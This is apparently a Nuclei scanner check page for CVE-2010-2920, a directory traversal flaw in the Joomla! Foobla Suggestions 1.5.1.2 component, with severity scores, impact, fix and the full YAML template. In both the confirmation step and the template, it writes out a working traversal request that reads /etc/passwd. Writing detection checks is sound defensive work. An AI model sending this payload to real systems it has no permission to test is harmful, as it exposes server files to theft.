Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion

mediumseverity

6.8CVSS score

5.7%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.

Impact

Remote attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Update to the latest version of Joomla\! or apply security patches that fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2920 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2920

info:
  name: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Remote attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of Joomla\! or apply security patches that fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12120
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2920
    - http://www.vupen.com/english/advisories/2010/1844
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57660
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2920
    cwe-id: CWE-22
    epss-score: 0.05688
    epss-percentile: 0.93063
    cpe: cpe:2.3:a:foobla:com_foobla_suggestions:1.5.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: foobla
    product: com_foobla_suggestions
  tags: cve,cve2010,joomla,lfi,edb,foobla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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